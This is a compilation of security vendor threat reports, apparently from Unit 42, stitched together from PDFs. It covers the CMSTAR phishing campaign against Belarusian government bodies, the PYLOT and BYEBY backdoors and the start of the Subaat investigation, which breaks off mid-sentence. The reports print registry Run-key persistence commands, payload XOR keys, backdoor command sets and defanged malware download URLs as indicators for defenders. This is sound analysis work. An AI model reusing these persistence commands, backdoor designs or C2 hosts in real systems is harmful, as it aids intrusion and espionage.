+cec26d8629c5f223a120677a5c7fbd8d477f9a1b963f19d3f1195a7f94bc194b
+ff58189452668d8c2829a0e9ba8a98a34482c4f2c5c363dc0671700ba58b7bee
+Initial Payload
+1322b5642e19586383e663613188b0cead91f30a0ab1004bf06f10d8b15daf65
+032ccd6ae0a6e49ac93b7bd10c7d249f853fff3f5771a1fe3797f733f09db5a0 (unpacked)
+Testing Malicious Documents
+90e74b5d762fa00fff851d2f3fad8dc3266bfca81d307eeb749cce66a7dcf3e1
+09fc4219169ce7aac5e408c7f5c7bfde10df6e48868d7b470dc7ce41ee360723
+d1e4d51024b0e25cfac56b1268e1de2f98f86225bbad913345806ff089508080
+040d20357cbb9e950a3dd0b0e5c3260b96b7d3a9dfe15ad3331c98835caa8c63
+dfc420190ef535cbabf63436e905954d6d3a9ddb65e57665ae8e99fa3e767316
+f21290968b51b11516e7a86e301148e3b4af7bc2a8b3afe36bc5021086d1fab2
+1491896d42eb975400958b2c575522d2d73ffa3eb8bdd3eb5af1c666a66aeb08
+31e8a920822ee2a273eb91ec59f5e93ac024d3d7ee794fa6e0e68137734e0443
+49ecead98ebc750cf0e1c48fccf5c4b07fadef653be034cdcdcd7ba654f713af
+5c10b34e99b0f0681f79eaba39e3fe60e1a03ec43faf14b28850be80830722cb
+600ddacdf16559135f6e581d41b30d0867aae313fbaf66eb4d18345b2136cdd7
+6ccb8a10e253cddd8d4c4b85d19bbb288b56b8174a3f1f2fe1f9151732e1a7da
+8b2c44c4b4dc3d7cf1b71bd6fcc37898dcd9573fcf3cb8159add6cb9cfc9651b
+9e71d0fdb9874049f310a6ab118ba2559fc1c491ed93c3fd6f250c780e61b6ff
+Additional Related Samples
+02d74124957b6de4b087a7d12efa01c43558bf6bdaccef9926a022bcffcdcfea
+0c5cdbf6f043780dc5fff4b7a977a1874457cc125b4d1da70808bfa720022477
+18579d1cc9810ca0b5230e8671a16f9e65b9c9cdd268db6c3535940c30b12f9e
+19b23f169606bd390581afe1b27c2c8659d736cbfa4c3e58ed83a287049522f6
+1efffd64f2215e2b574b9f8892bbb3ab6e0f98cf0684e479f1a67f0f521ec0fe
+440dd79e8e5906f0a73b80bf0dc58f186cb289b4edb9e5bc4922d4e197bce10c
+446ce29f6df3ac2692773e0a9b2a973d0013e059543c858554ac8200ba1d09cf
+557c63737bf6752eba32bd688eb046c174e53140950e0d91ea609e7f42c80062
+5c10b34e99b0f0681f79eaba39e3fe60e1a03ec43faf14b28850be80830722cb
+10/12
+644c01322628adf8574d69afe25c4eb2cdc0bfa400e689645c2ab80becbacc33
+6a34f4ce012e52f5f94c1a163111df8b1c5b96c8dc0836ba600c2da84059c6ad
+77a32726af6205d27999b9a564dd7b020dc0a8f697a81a8f597b971140e28976
+79fe6576d0a26bd41f1f3a3a7bfeff6b5b7c867d624b004b21fadfdd49e6cb18
+8085dae410e54bc0e9f962edc92fa8245a8a65d27b0d06292739458ce59c6ba1
+8b21e36aa81ace60c797ac8299c8a80f366cb0f3c703465a2b9a6dbf3e65861e
+9c6a23e6662659b3dee96234e51f711dd493aaba93ce132111c56164ad02cf5e
+d843f31a1fb62ee49939940bf5a998472a9f92b23336affa7bccfa836fe299f5
+dcea917093643bc536191ff70013cb27a0519c07952fbf626b4cc5f3feee2212
+dd8c3824c8ffdbf1e16da8cee43da01d43f91ee3cc90a38f50a6cc8d6a778b57
+efa2a0bbb69e60337b783db326b62c820b81325d39fb4761c9b575668411e12c
+f365a042fbf57ed2fe3fd75b588c46ae358c14441905df1446e67d348bd902bf
+f618245e69695f6e985168f5e307fd6dc7e848832bf01c529818cbcfa4089e4a
+fa45603334dae86cc72e356df9aa5e21151bb09ffabf86b8dbf5bf42bd2bbadf
+fc19a42c423aefb5fdb19b50db52f84e1cbd20af6530e7c7b39435c4c7248cc7
+ff4581d0c73bd526efdd6384bc1fb44b856120bc6bbf0098a1fa0de3efff900d
+C2 Domains
+daedong.or[.]kr
+kcnp.or[.]kr
+kosic.or[.]kr
+wstore[.]lt
+xkclub[.]hk
+C2 IPv4 Addresses
+103.224.82[.]154
+180.67.205[.]101
+182.70.113[.]138
+193.189.144[.]145
+199.26.11[.]17
+209.105.242[.]64
+211.233.13[.]11
+211.233.13[.]62
+211.236.42[.]52
+211.49.171[.]243
+218.103.37[.]22
+221.138.17[.]152
+221.161.82[.]208
+11/12
+23.115.75[.]188
+61.100.180[.]9
+61.78.63[.]95
+80.153.49[.]82
+12/12
+Threat Actors Target Government of Belarus Using CMSTAR Trojan
+researchcenter.paloaltonetworks.com /2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan/
+By Josh Grunzweig and Robert
+Falcone
+9/28/2017
+Palo Alto Networks Unit 42 has identified a series of phishing emails containing updated versions of the previously discussed CMSTAR malware family targeting various government
+entities in the country of Belarus.
+We first reported on CMSTAR in spear phishing attacks in spring of 2015 and later in 2016.
+In this latest campaign, we observed a total of 20 unique emails between June and August of this year that included two new variants of the CMSTAR Downloader. We also discovered two
+previously unknown payloads. These payloads contained backdoors that we have named BYEBY and PYLOT respectively.
+Figure 1 Diagram of the attack sequence
+Phishing Emails
+Between June and August of this year, we observed a total of 20 unique emails being sent to the following email addresses:
+Email Address
+Description
+press@mod.mil[.]by
+Press Service of the Ministry of Defense of the Republic of Belarus
+baranovichi_eu@mod.mil[.]by
+Baranovichi Operational Management of the Armed Forces
+modmail@mod.mil[.]by
+Ministry of Defense of the Republic of Belarus
+admin@mod.mil[.]by
+Ministry of Defense of the Republic of Belarus
+itsc@mod.mil[.]by
+Unknown. Likely used by Ministry of Defense of the Republic of Belarus
+mineuvs@mod.mil[.]by
+Minsk Operational Administration of the Armed Forces
+inform@mod.mil[.]by
+Unknown. Likely used by Ministry of Defense of the Republic of Belarus
+uporov_milcoop@mod.mil[.]by Unknown. Likely used by Ministry of Defense of the Republic of Belarus
+video@gpk.gov[.]by
+State Border Committee of the Republic of Belarus
+armscontrol@mfa.gov[.]by
+International Security and Arms Control Department, Ministry of Foreign Affairs
+ablameiko@mia[.]by
+Unknown. Likely used by the Ministry of Internal Affairs of the Republic of Belarus
+These emails contained a series of subject lines, primarily revolving around the topic of 
+-2017 ( 
+West-2017
+), also known in English as Zapad 2017. Zapad 2017 was a series of joint
+military exercises conducted by the Armed Forces of the Russian Federation and the Republic of Belarus, held from September 14th to 20th in 2017.
+The full list of subject lines is as follows:
+Fwd:
+-2017 [Translation: Fwd:Preparing for the West-2017]
+ [Translation: graduation]
+-2017 [Translation: To West-2017]
+-2017 [Translation: West-2017]
+An example of some of the previously mentioned emails may be seen below.
+1/12
+Figure 2 Phishing email sent to Belarus government (1/2)
+Figure 3 Phishing email sent to Belarus government (2/2)
+Decoy Documents
+We observed that the attachments used in these emails contained a mixture of file types. RTF documents, Microsoft Word documents, and a RAR archive. The RAR archive contained a
+series of images, a decoy document, and a Microsoft Windows executable within it. The executable has a .scr file extension, and is designed to look like a Windows folder, as seen below:
+Figure 4 Payload disguising itself as a Microsoft Windows folder
+2/12
+The rough translation of the folder and file names above are 
+Preparations for large-scale West-2017 exercises in this format are being held for the first time.
+ Within the actual folder, there
+are a series of JPG images, as well as a decoy document with a title that is translated to 
+Thousands of Russian and Belarusian military are involved in the training of the rear services.
+Figure 5 Embedded images and decoy document within RAR
+The decoy document contains the following content:
+Figure 6 Decoy document within RAR
+The other RTF and Word documents used additional decoy documents, which can be seen below.
+3/12
+Figure 7 Decoy document with translation (1/2)
+Figure 8 Decoy document with translation (2/2)
+While we observed different techniques being used for delivery, all attachments executed a variant of the CMSTAR malware family. We observed minor changes between variants, which
+we discuss in the CMSTAR Variations and Payloads section of the blog post.
+The Word documents, which we track as Werow, employ malicious macros for their delivery. More information about these macros may be found in the Appendix of the blog post.
+Additionally, we have included a script that extracts these embedded payloads that can also be found in the Appendix.
+The RTF documents made use of CVE-2015-1641. This vulnerability, patched in 2015, allows attackers to execute malicious code when these specially crafted documents are opened
+within vulnerable instances of Microsoft Word. The payload for these samples is embedded within them and obfuscated using a 4-byte XOR key of 0xCAFEBABE. We have included a
+script that can be used to extract the underlying payload of these RTFs statically that can be found in the Appendix.
+The SCR file mentioned previously drops a CMSTAR DLL and runs it via an external call to rundll32.exe.
+CMSTAR Variations and Payloads
+In total, we observed three variations of CMSTAR in these recent attacks against Belarusian targets. The biggest change observed between them looks to be minor modifications made to
+the string obfuscation routine. A very simple modification to the digit used in subtraction was modified between the variants, as shown below:
+4/12
+Figure 9 String obfuscation modifications between CMSTAR variants
+The older variation, named CMSTAR.A, was discussed in a previous blog post entitled, 
+ Digital Quartermaster Scenario Demonstrated in Attacks Against the Mongolian Government .
+The CMSTAR.B variant was witnessed using both a different mutex from CMSTAR.A, as well as a slightly modified string obfuscation routine. The mutexes used by CMSTAR ensure that
+only one instance of the malware runs at a time. The CMSTAR.C variant used the same mutex as CMSTAR.B, however, again used another slightly modified string obfuscation routine.
+We found all CMSTAR variants using the same obfuscation routine when I payload was downloaded from a remote server. We have included a tool to extract mutex and C2 information
+from all three CMSTAR variants, as well as a tool to decode the downloaded payload: both may be found in the Scripts section.
+An example of CMSTAR downloading its payload may be found below:
+Figure 10 Example HTTP download by CMSTAR
+When expanding the research to identify additional CMSTAR.B and CMSTAR.C variants, we identified a total of 31 samples. Of these 31 samples, we found two unique payloads served
+from three of the C2 URLS
+One of which was downloaded from a sample found in the phishing attacks previously described. Both payloads contained previously unknown malware
+families. We have named the payload found in the email campaign PYLOT, and the malware downloaded from the additional CMSTAR samples BYEBY.
+Both malware families acted as backdoors, allowing the attackers to execute commands on the victim machine, as well as a series of other functions. More information about these
+individual malware families may be found in the appendix.
+Conclusion
+During the course of this research, we identified a phishing campaign consisting of 20 unique emails targeting the government of Belarus. The ploys used in these email and decoy
+documents revolved around a joint strategic military exercise of the Armed Forces of the Russian Federation and the Republic of Belarus, which took place between September 14th and
+September 20th of this year. While looking at the emails in question, we observed two new variants of the CMSTAR malware family. Between the samples identified and others we found
+while expanding our research scope, we identified two previously unknown malware families.
+Palo Alto customers are protected from this threat in the following ways:
+Tags have been created in AutoFocus to track CMSTAR, BYEBY, and PYLOT
+All observed samples are identified as malicious in WildFire
+Domains observed to act as C2s have been flagged as malicious
+Traps 4.1 identifies and blocks the CVE-2015-1641 exploit used in these documents
+Traps 4.1 blocks the macros used in the malicious Word documents
+A special thanks to Tom Lancaster for his assistance on this research.
+Appendix
+Werow Macro Analysis
+The attacker used the same macro dropper all of the observed Microsoft Word documents we analyzed for this campaign. It begins by building the following path strings:
+%APPDATA%\d.doc
+%APPDATA%\Microsoft\Office\WinCred.acl
+The 
+d.doc
+ path will be used to store a copy of the Word document, while the 
+WinCred.acl
+ will contain the dropped payload, which is expected to be a DLL.
+5/12
+Figure 11 Macro used to drop CMSTAR
+Werow uses rudimentary obfuscation to hide and re-assemble the following strings:
+HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WinCred
+rundll32 %APPDATA%\Microsof\Office\WinCred.acl ,WinCred
+These strings will be used at the end of the macro
+s execution to ensure persistence via the Run registry key.
+The malware proceeds to read an included overlay within the original Word document from a given offset. This data is decoded using and XOR operation, as well as an addition operation.
+It can be represented in Python as follows:
+6/12
+def decrypt_xor(data, key, key_offset):
+output = ""
+seed = ord(key)
+for d in data:
+ord_d = ord(d)
+if ord_d != 0 and ord_d != seed:
+nvalue = ord_d ^ seed
+seed = (seed + key_offset) % 0x100
+output += chr(nvalue)
+else:
+output += d
+return output
+Once this overlay is decoded, it is written to the 
+WinCred.acl
+ file and loaded with the 
+WinCred
+ export. A script has been provided in the Scripts section that, in conjunction with oletools,
+can statically extract the embedded DLL payload from these documents.
+RTF Shellcode Analysis
+The RTF documents delivered in this attack campaign appear to be created by the same builder. All of the RTF files attempt to exploit CVE-2015-1641 to execute shellcode on the targeted
+system. Please reference https://technet.microsoft.com/en-us/library/security/ms15-033.aspx for more information.
+The shellcode executed after successful exploitation begins by resolving the API functions it requires by enumerating the API functions within loaded modules in the current process. It
+then builds the following list of values:
+The shellcode then enumerates the API functions, subjects them to a ROR7 hashing routine and XORs the resulting hash with 0x10ADBEEF. It uses the result of this arithmetic to
+compare with the list of values above to find the API functions it requires to carry out its functionality.
+ROR7
+ROR7^0x10ADBEEF
+API Func
+1a22f51
+110f91be
+WinExec
+741f8dc4
+64b2332b
+WriteFile
+94e43293 84498c7c
+CreateFileA
+daa7fe52
+ca0a40bd
+UnmapViewOfFile
+dbacbe43
+cb0100ac
+SetFilePointer
+ec496a9e
+fce4d471
+GetEnvironmentVariableA
+ff0d6657
+efa0d8b8
+CloseHandle
+After resolving the API functions, the shellcode then begins searching for the embedded payload and decoy within the initial RTF file. It does so by searching the RTF file for three
+delimiters, specifically 0xBABABABABABA, 0xBBBBBBBB and 0xBCBCBCBC, which the shellcode uses to find the encrypted payload and decoy. The shellcode then decrypts the
+payload by XOR
+ing four bytes at at time with the key 0xCAFEBABE, and decrypts the decoy by XOR
+ing four bytes at a time using the key 0xBAADF00D. Here is a visual representation
+of the delimiters and embedded files:
+After decrypting the payload, it saves the file to the following location:
+%APPDATA%\Microsoft\Office\OutL12.pip
+The shellcode then creates the following registry key to automatically run the payload each time the system starts:
+Software\Microsoft\Windows\CurrentVersion\Run : Microsoft
+The shellcode saves the following command to this autorun key, which will execute the OutL12.pip payload, specifically calling its 
+WinCred
+ exported function:
+rundll32.exe
+%APPDATA\Roaming\Microsoft\Office\OutL12.pip
+,WinCred
+The shellcode will then overwrite the original delivery document with the decrypted decoy contents and open the new document.
+PYLOT Analysis
+7/12
+This malware family was named via a combination of the DLLs original name of 
+pilot.dll
+, along with the fact it downloads files with a Python (.py) file extension.
+PYLOT begins by being loaded as a DLL with the ServiceMain export. It proceeds to create the following two folders within the %TEMP% path:
+KB287640
+KB887209
+PYLOT continues to load and decode an embedded resource file. This file contains configuration information that is used by the malware throughout its execution. The following script,
+written in Python, may be used to decode this embedded resource object:
+import sys
+import hexdump
+file = sys.argv[1]
+fh = open(file, 'rb')
+fdata = list(fh.read())
+fh.close()
+fdata_len = len(fdata)
+c = fdata_len-1
+output = ""
+while c &gt; 1:
+fdata[c] = chr( ord(fdata[c]) ^ ord(fdata[c-2]) )
+c -= 1
+fdata = ''.join(fdata)
+hexdump.hexdump(fdata)
+Looking at the decoded data, we see the following:
+Figure 12 Decoded embedded configuration information
+The malware continues to collect the following information from the victim computer:
+Computer name
+8/12
+IP addresses present on the machine
+MAC addresses
+Microsoft Windows version information
+Windows code page identifier information
+This information is used to generate a unique hash for the victim machine. PYLOT then begins entering its C2 handler routine, where it will use HTTP for communication with the remote
+host.
+Data sent to the remote C2 server is encrypted using RC4 with the previously shown key of 
+BBidRotnqQpHfpRTi8cR.
+ It is then further obfuscated by base64-encoding this encrypted
+string. An example of this HTTP request containing this data can be seen below.
+Figure 13 HTTP request made by PYLOT to remote server
+The decrypted data sent in the request above is as follows. Note that all of this custom data format has not been fully identified, however, we
+re able to see various strings, including the
+embedded configuration string of 
+fGAka0001
+, as well as the victim hash of 
+100048048.
+Figure 14 Decrypted data sent by PYLOT to remote server
+The base64-encoded string at the end of the data contains the collected victim machine information from earlier, separated by a 
+ delimiter.
+The remote C2 server responds using the same data format. An example response can be seen below.
+Figure 15 Response from remote C2 server
+The decoded data at the end of the response contains various URIs to be used by the malware to receive commands, as well as other information that has yet to be fully researched.
+/duakzu/furs.py|/ugvrf/pvoi.py|/tydfw/pld.py|/bpnij/syau.py|/plugin/plugin.py|eycHhHKVQUnuAwtNchvYjScGYMtVMzMqYmxBmCEwieQpKgsokpvrxknPQRvnkOHDywCImVZxHxRdvlePjgnbPXs
+9/12
+A number of commands have been identified within PYLOT, including the following:
+ Download batch script
+ Run batch script
+ Delete file
+ Rename file
+ Execute file
+ Download file
+ Upload file
+BYEBY Analysis
+BYEBY was named based on a string within the malware itself. Most strings found within this malware are concatenated to 6 characters. One such example was an instance where a
+debug string contained 
+BYE BY
+, which was likely a concatenated form of the phrase 
+BYE BYE
+This malware is loaded as a DLL, with an export name of ServiceMain. When the malware is initially loaded, it begins by checking to see if it is running within either of the following paths:
+[SYSTEM32]\svchost.exe
+[SYSTEM32]\rundll32.exe
+If it finds itself not running in either location, it will immediately exit. This is likely a technique used to bypass various sandboxing systems. Should it find itself running as svchost.exe, it will
+write the current timestamp and a value of 
+V09SS010
+ (Base64 Decoded: 
+WORKMN
+) to a file named 
+vmunisvc.cab
+ within the user
+s local %TEMP% folder. This file acts as a lot file and
+is written to frequently throughout the malware
+s execution.
+When the malware runs within the context of svchost.exe, it bypasses the installation routines and immediately enters the C2 handler.
+When BYEBY is run within the context of rundll32.exe, it expects itself to be running for the first time. As such, it will register itself as a service with a name of 
+VideoSrv.
+ After this service
+is created, BYEBY proceeds to enter it
+s C2 handler function in a new thread.
+BYEBY uses TLS for network communication, connecting to the following host on port 443:
+oeiowidfla22[.]com
+After the initial connection is established, BYEBY will collect the following system information and upload it to the remote C2:
+Hostname
+IP Address
+Embedded String of 
+WinVideo
+Major Windows Version
+Minor Windows Version
+Embedded String of 
+6.1.7603.16000
+The malware is configured to accept a number of commands. These appear to be Base64-encoded strings that, when decoded, provide their true meaning. Only the beginning of the
+commands are checked. The Base64-decoded strings have been included for the benefit of the reader.
+aGVsbG8h [Decoded: hello!]
+R09PREJZ [Decoded: GOODBY]
+TElTVCBE [Decoded: LIST D]
+U1RBUlRD [Decoded: STARTC]
+Q09NTUFO [Decoded: COMMAN]
+VFJBTlNG [Decoded: TRANSF]
+RVhFQ1VU [Decoded: EXECUT]
+A mapping of commands and their descriptions has been provided:
+Command
+Description
+aGVsbG8h
+Authenticate with the remote C2 server.
+R09PREJZ
+Close socket connection with remote server.
+TElTVCBE
+List drives on the victim machine.
+U1RBUlRD
+Start an interactive shell on the victim machine.
+Q09NTUFO
+Execute a command in the interactive shell
+VFJBTlNG
+Upload or download files to the victim machine.
+RVhFQ1VU
+Execute command in a new process.
+Scripts
+We created multiple scripts during the course of our research. We are sharing them here to assist other researchers or defenders that encounter this malware.
+extract_cmstar_doc.py 
+ Script to extract the embedded CMSTAR payload from Word documents.
+extract_cmstar_rtf.py
+ Script to extract the embedded CMSTAR payload from RTFs.
+extract_cmstar_strings.py 
+ Script to identify possible mutex and C2 strings from CMSTAR variants.
+decode_cmstar_payload.py 
+ Script to decode a payload downloaded by CMSTAR.
+Indicators of Compromise
+10/12
+CMSTAR Variants Identified in Phishing Campaign
+65d5ef9aa617e7060779bc217a42372e99d59dc88f8ea2f3b9f45aacf3ba7209
+2a0169c72c84e6d3fa49af701fd46ee7aaf1d1d9e107798d93a6ca8df5d25957
+4da6ce5921b0dfff9045ada7e775c1755e6ea44eab55da7ccc362f2a70ce26a6
+2008ec82cec0b62bdb4d2cea64ff5a159a4327a058dfd867f877536389a72fb6
+cecd72851c265f885ff02c60cbc3e6cbf1a40b298274761f623dfa44782a01f8
+d8c0f8ecdeceba83396c98370f8f458ea7f7a935aabbcc3d41b80d4e85746357
+2c8267192b196bf8a92c8b72d52096e46e307fa4d4dafdc030d3e0f5b4145e9e
+2debf12b1cb1291cbd096b24897856948734fa62fd61a1f24d379b4224bda212
+79b30634075896084135b9891c42fca8a59db1c0c731e445940671efab9a0b61
+b0065fc16ae785834908f024fb3ddd4d9d62b29675859a8e737e3b949e85327a
+16697c95db5add6c1c23b2591b9d8eec5ed96074d057b9411f0b57a54af298d5
+6843d183b41b6b22976fc8d85e448dcc4d2e0bd2c159e6d966bfd4afa1cd9221
+3c3efa89d1dd39e1112558af38ba656e048be842a3bedb7933cdd4210025f791
+b2bebb381bc3722304ab1a21a21e082583bf6b88b84e7f65c4fdda48971c20a2
+09890dc8898b99647cdc1cceb97e764b6a88d55b5a520c8d0ea3bfd8f75ed83b
+fd22973451b88a4d10d9f485baef7f5e7a6f2cb9ce0826953571bd8f5d866c2a
+CMSTAR Download Locations in Phishing Campaign
+http://45.77.60[.]138/YXza9HkKWzqtXlt.dat
+http://45.77.60[.]138/mePVDjnAZsYCw5j.dat
+http://45.77.60[.]138/UScHrzGWbXb01gv.dat
+http://45.76.80[.]32/tYD7jzfVNZqMfye.dat
+http://45.77.60[.]138/liW0ecpxEWCfIgU.dat
+http://45.77.60[.]138/ezD19AweVIj5NaH.dat
+http://45.77.60[.]138/jVJlw3wp379neaJ.dat
+http://108.61.175[.]110/tlhXVFeBvT64LC9.dat
+http://45.77.60[.]138/HJDBvnJ7wc4S5qZ.dat
+http://45.77.60[.]138/JUmoT4Pbw6U2xcj.dat
+http://108.61.175[.]110/oiUfxZfej29MAbF.dat
+http://45.77.60[.]138/cw1PlY308OpfVeZ.dat
+http://45.77.60[.]138/VFdSKlgCAZD7mmp.dat
+http://45.77.60[.]138/c2KoCT5OHcVwGi7.dat
+http://45.77.60[.]138/3kK24dXFYRgM6Ac.dat
+http://45.77.60[.]138/WsEeRyHEhLO1kUm.dat
+PYLOT SHA256
+7e2c9e4acd05bc8ca45263b196e80e919ff60890a872bdc0576735a566369c46
+PYLOT C2
+wait.waisttoomuchmind[.]com
+BYEBY SHA256
+383a2d8f421ad2f243cbc142e9715c78f867a114b037626c2097cb3e070f67d6
+BYEBY C2
+oeiowidfla22[.]com
+CMSTAR.B SHA256
+8609360b43498e296e14237d318c96c58dce3e91b7a1c608cd146496703a7fac
+f0f2215457200bb3003eecb277bf7e3888d16edcf132d88203b27966407c7dc3
+aecf53a3a52662b441703e56555d06c9d3c61bddf4d3b23d9da02abbe390c609
+960a17797738dc0bc5623c74b6f8a5d74375f6d18d20ba18775f26a43898bae6
+e37c045418259ecdc07874b85e7b688ba53f5a7dc989db19d7e8c440300bd574
+75ea6e8dfaf56fb35f35cb043bd77aef9e2c7d46f3e2a0454dff0952a09c134f
+a65e01412610e5ed8fde12cb78e6265a18ef78d2fd3c8c14ed8a3d1cef17c91d
+7170b104367530ae837daed466035a8be719fdb17423fc01da9c0ded74ca6ad1
+11/12
+13acddf9b7c2daafd815cbfa75fbb778a7074a6f90277e858040275ae61a252b
+625ed818a25c63d8b2c264d0f5bd96ba5ad1c702702d8ffaa4e0e93e5f411fac
+a56cd758608034c90e81e4d4f1fe383982247d6aeffd74a1dd98d84e9b56afdf
+a4b969b93f7882ed2d15fd10970c4720961e42f3ae3fced501c0a1ffa3896ff5
+e833bbb79ca8ea1dbeb408520b97fb5a1b691d5a5f9c4f9deabecb3787b47f73
+8e9136d6dc7419469c959241bc8745af7ba51c7b02a12d04fec0bc4d3f7dcdf0
+CMSTAR.B Download Locations
+http://108.61.175[.]110/tlhXVFeBvT64LC9.dat
+http://104.238.188[.]211/gl7xljvn3fqGt3u.dat
+http://45.77.60[.]138/c2KoCT5OHcVwGi7.dat
+http://108.61.175[.]110/gkMmqVvZ7gGGxpY.dat
+http://108.61.175[.]110/z_gaDZyeZXvScQ6.dat
+http://108.61.175[.]110/bDtzGVtqgiJU9PI.dat
+http://45.77.60[.]138/liW0ecpxEWCfIgU.dat
+http://45.77.60[.]138/JUmoT4Pbw6U2xcj.dat
+http://108.61.175[.]110/oiUfxZfej29MAbF.dat
+http://108.61.103[.]123/jvZfZ0gdTWtr46y.dat
+http://108.61.103[.]123/06JcD5jz5dSHVAy.dat
+http://108.61.103[.]123/nj3dsMMpyQQDBF3.dat
+http://108.61.103[.]123/fHZvWtBGlFvs2Nr.dat
+http://45.77.60[.]138/w57E8dktKb9UQyV.dat
+CMSTAR.C SHA256
+85e06a2beaa4469f13ca58d5d09fec672d3d8962a7adad3c3cb74f3f9ef1fed4
+b8ef93227b59e6c8d3a1494b4860d15be819fae17b57fd56bfff9a51b7972ff0
+9e6fdbbc2371ac8bc6db3b878475ed0b0af8950d50a4652df688e778beb87397
+4e38e627ae21f1a85aa963ca990a66cf75789b450605fdca2f31ee6f0f8ab8f2
+f4ff0ca7f2ea2a011a2a4615d9b488b7806ff5dd61577a9e3a9860f2980e7fc0
+8de3fa2614b1767cfd12936c5adf4423ef25ea60800fa170752266e0ca063274
+38197abde967326568e101b65203c2efa75500e5f3c084b6dd08fd1ba1430726
+726df91a395827d11dc433854b3f19b3e28eac4feff329e0bdad93890b03af84
+5703565ec64d72eb693b9fafcba5951e937c8ee38829948e9518b7d226f81c10
+d0544a3e6d1b34b8b4e976c7fc62d4500f28f617e2f549d9a3e590b71b1f9cc5
+2a8e5551b9905e907da7268aba50fcbc526cfd0549ff2e352f9f4d1d71bf32a7
+d7cd6f367a84f6d5cf5ffb3c2537dd3f48297bd45a8f5a4c50190f683b7c9e90
+8f7294072a470b886791a7a32eedf0f0505aaecec154626c6334d986957086e4
+6419255d017b217fe984d3439694eb96806d06c7ea41a422298650969028c08c
+CMSTAR.C Download Locations
+http://45.77.58[.]49/54xfapkezW64xDE.dat
+http://45.77.58[.]49/54xfapkezW64xDE.dat
+http://45.77.62[.]181/naIXl13kqeV7Y2j.dat
+http://45.77.58[.]160/9EkCWYA3OtDbz1l.dat
+http://45.77.58[.]160/8h5NPYB5fAn301E.dat
+http://45.77.58[.]160/9EkCWYA3OtDbz1l.dat
+http://45.77.60[.]138/3kK24dXFYRgM6Ac.dat
+http://45.77.60[.]138/ezD19AweVIj5NaH.dat
+http://45.77.60[.]138/VFdSKlgCAZD7mmp.dat
+http://45.77.60[.]138/HJDBvnJ7wc4S5qZ.dat
+http://45.77.60[.]138/jVJlw3wp379neaJ.dat
+http://45.77.60[.]138/YXza9HkKWzqtXlt.dat
+http://45.77.60[.]138/UScHrzGWbXb01gv.dat
+http://45.77.60[.]138/WsEeRyHEhLO1kUm.dat
+12/12
+Tracking Subaat: Targeted Phishing Attack Leads to
+Threat Actor
+s Repository
+researchcenter.paloaltonetworks.com/2017/10/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threatactors-repository/
+By Unit 42
+October 27, 2017
+In mid-July, Palo Alto Networks Unit 42 identified a small targeted phishing campaign aimed at
+a government organization. While tracking the activities of this campaign, we identified a
+repository of additional malware, including a web server that was used to host the payloads
+used for both this attack as well as others. We
+ll discuss how we discovered it, as well as
+possible attribution towards the individual behind these attacks.
+The Initial Attack
+Beginning on July 16, 2017, Unit 42 observed a small wave of phishing emails targeting a USbased government organization. We observed a total of 43 emails with the following subject
+lines:
+Invention
+Invention Event
+Within the 43 emails we observed, we found that three unique files were delivered, which
+consisted of two RTFs and a Microsoft Excel file. Both RTFs exploited CVE-2012-0158 and
+acted as downloaders to ultimately deliver the QuasarRAT malware family. The downloaders
+made use of the same shellcode, with minor variances witnessed between them. Additionally,
+the RTFs made use of heavy obfuscation within the documents themselves, making it more
+difficult to extract the embedded shellcode.
+The Microsoft Excel file contained malicious macros that resulted in dropping and
+subsequently executing Crimson Downloader. The Excel document contained a UserForm that
+in turn contained three text boxes. The embedded payload was hex-encoded and split
+between these three text boxes. The malicious macro extracted this information from the text
+boxes, dropped it to a specific location, and eventually executed the Crimson Downloader
+payload.
+Detailed information about these malware samples may be found in the appendix of this blog.
+A curious aspect of this campaign is the use of Crimson Downloader in this email campaign.
+To date, we have not widely seen Crimson Downloader being used: in fact, we have only seen
+123 unique instances of this malware family being used to date. Readers may recall a previous
+blog post from March 2016 that discussed Crimson Downloader. That blog post discussed
+relationships with both Operation Transparent Tribe and Operation C-Major, which were both
+targeted campaigns that made use of Crimson Downloader aimed at diplomatic and political
+1/17
+targets. The connections we observed in this research leads us to believe there might be a
+connection between this most recent activity we observed and those campaigns. However,
+there is not enough evidence to say so decisively.
+Expanding the Scope from the Original Attacks
+When looking at the various malware samples encountered as we analyzed this campaign, we
+identified a total of three hosts/IP addresses, as shown in the following chart:
+5.189.157[.]215
+Crimson Downloader connects to this IP address.
+115.186.136[.]237
+QuasarRAT connects to this IP address.
+subaat[.]com (Resolves to 23.92.211[.]186)
+RTFs download QuasarRAT from this host.
+Starting with the first IP address that was used by Crimson Downloader, we can see that this
+address appears to be located in Germany and is almost exclusively associated with this
+malware family. Based on our telemetry, this IP address has exclusively been used to
+communicate with Crimson Downloader. We observed a total of 16 unique Crimson
+Downloader samples starting in May of this year.
+Moving onto the second IP address of 115.186.136[.]237, we see that this IP address belongs
+to a Pakistan-based Internet Service Provider (ISP), based in Islamabad, that services both
+residential and commercial customers.
+The subaat[.]com domain has historic WHOIS information from early 2016 that references a
+Pakistani location, as seen in the image below. Additionally, it uses pkwebhost[.]net for its
+DNS, which is a Pakistan-based hosting provider.
+2/17
+Figure 1 Historical WHOIS information for subaat[.]com from early 2016
+The references to Pakistan in conjunction with the use of Crimson Downloader, which has
+historically been associated with Pakistan actors, is certainly interesting.
+The RTFs we observed in the original email campaign downloaded QuasarRAT from
+http://subaat[.]com/files/sp.exe. Checking this host led us to discover that directory listings
+were enabled. We were able to discover a large repository of malware on this open server.
+3/17
+Figure 2 Open directory listing of subaat[.]com
+Since beginning this research, this domain has been suspended by the hosting provider.
+However, it returned in mid-August, hosting both a malicious APK and a known instance of
+QuasarRAT.
+4/17
+Figure 3 Subaat returns after suspension
+In total, we found 84 unique malware payloads hosted on this server, in addition to a number
+of miscellaneous scripts. The chart below shows the malware families we identified:
+Figure 4 Malware families identified in web server repository
+As we can see from the above chart, a wealth of different malware families were stored on this
+web server. Many of these malware families are considered to be commodity malware, or
+widely used by criminals. Palo Alto Networks has reported on many of these families in the
+past, including LuminosityLink, QuasarRAT, and DarkComet to name a few. The large number
+of commodity malware families paints a very different picture from the original attack that made
+use of Crimson Downloader, which is not a widely used malware.
+A full list of SHA256 hashes associated with these samples may be found in the appendix.
+5/17
+One thing that caught our eye was the large number of LuminosityLink malware samples
+stored on this server. Looking at the embedded configuration settings for these samples, we
+see that they are all similar. The following example shows one of these configurations. A script
+written in a previous blog post was used to generate the output below, it can be downloaded
+here.
+Figure 5 Embedded configuration within LuminosityLink sample
+The email address shown above is used to register a customer
+s copy of LuminosityLink. All
